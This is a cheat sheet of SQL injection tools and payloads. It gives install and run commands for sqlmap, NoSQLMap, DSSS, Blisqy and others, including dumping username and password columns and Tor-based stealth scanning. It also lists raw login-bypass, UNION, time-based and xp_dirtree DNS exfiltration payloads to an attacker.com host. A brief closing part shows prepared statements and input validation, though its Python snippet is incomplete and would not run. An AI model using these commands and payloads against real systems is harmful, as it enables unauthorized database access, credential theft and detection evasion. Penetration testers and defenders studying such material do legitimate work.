SQL Injection Tools

sudo git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

# Simple URL scan
python3 sqlmap.py -u "http://example.com/page.php?id=1"

# With POST data
python3 sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=pass"

# Test specific parameter
python3 sqlmap.py -u "http://example.com/page.php?id=1&name=test" -p id

# Automated scan with wizard
python3 sqlmap.py --wizard

# GET request with automatic fingerprinting
python3 sqlmap.py -u "http://example.com/product?id=1" --batch --banner

# POST request login form
python3 sqlmap.py -u "http://example.com/login" \
  --data="username=admin&password=test" \
  --level=5 --risk=3 --batch

# Extract specific data
python3 sqlmap.py -u "http://example.com/user?id=1" \
  -D website_db -T users -C username,password,email --dump

# Use with Burp Suite request file
python3 sqlmap.py -r request.txt --batch

# Stealthy scan with randomization
python3 sqlmap.py -u "http://example.com/page?id=1" \
  --random-agent --delay=2 --tor --check-tor

git clone https://github.com/codingo/NoSQLMap.git
sudo chmod -R 755 NoSQLMap
cd NoSQLMap
python setup.py install

python NoSQLMap

git clone https://github.com/stamparm/DSSS.git
cd DSSS

# Scan GET parameter
python3 dsss.py -u "http://example.com/page.php?id=1"

# Scan POST parameters
python3 dsss.py -u "http://example.com/login" --data="user=admin&pass=test"

# Scan with cookie
python3 dsss.py -u "http://example.com/page?id=1" --cookie="session=abc123"

# Help and options
python3 dsss.py -h

git clone https://github.com/dtag-dev-sec/explo.git
cd explo
sudo python setup.py install

# Run test case
explo testcase.yaml

# Verbose mode
explo --verbose testcase.yaml

# Run multiple tests
explo examples/*.yaml

git clone https://github.com/JohnTroony/Blisqy.git
cd Blisqy

# Test User-Agent header
python blisqy.py -u "http://example.com" -h "User-Agent"

# Test custom header
python blisqy.py -u "http://example.com" -h "X-Forwarded-For"

# With verbosity
python blisqy.py -u "http://example.com" -h "Referer" -v

git clone https://github.com/leviathan-framework/leviathan.git
cd leviathan
sudo pip install -r requirements.txt

cd leviathan
python leviathan.py

# Install dependencies
sudo apt install php php-bz2 php-curl php-mbstring curl

# Download and install
sudo curl https://raw.githubusercontent.com/Cvar1984/sqlscan/dev/build/main.phar \
  --output /usr/local/bin/sqlscan
chmod +x /usr/local/bin/sqlscan

sudo sqlscan

# Authentication bypass
' OR '1'='1
admin'--
' OR 1=1--

# Union-based
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password FROM users--

# Boolean-based
' AND 1=1--  (True condition)
' AND 1=2--  (False condition)

# Time-based
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--

# DNS exfiltration (MS SQL)
'; exec master.dbo.xp_dirtree '\\'+@@version+'.attacker.com\share'--

# Use random User-Agent
sqlmap -u "URL" --random-agent

# Add delays between requests
sqlmap -u "URL" --delay=2

# Use Tor for anonymity
sqlmap -u "URL" --tor --check-tor

# Limit threads
sqlmap -u "URL" --threads=1

# Python with MySQL
import mysql.connector

cursor = connection.cursor(prepared=True)
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))

// PHP with PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $username]);

# Whitelist validation
import re

if re.match(r'^[a-zA-Z0-9_]+$', user_input):
    # Safe to use
else:
    # Reject input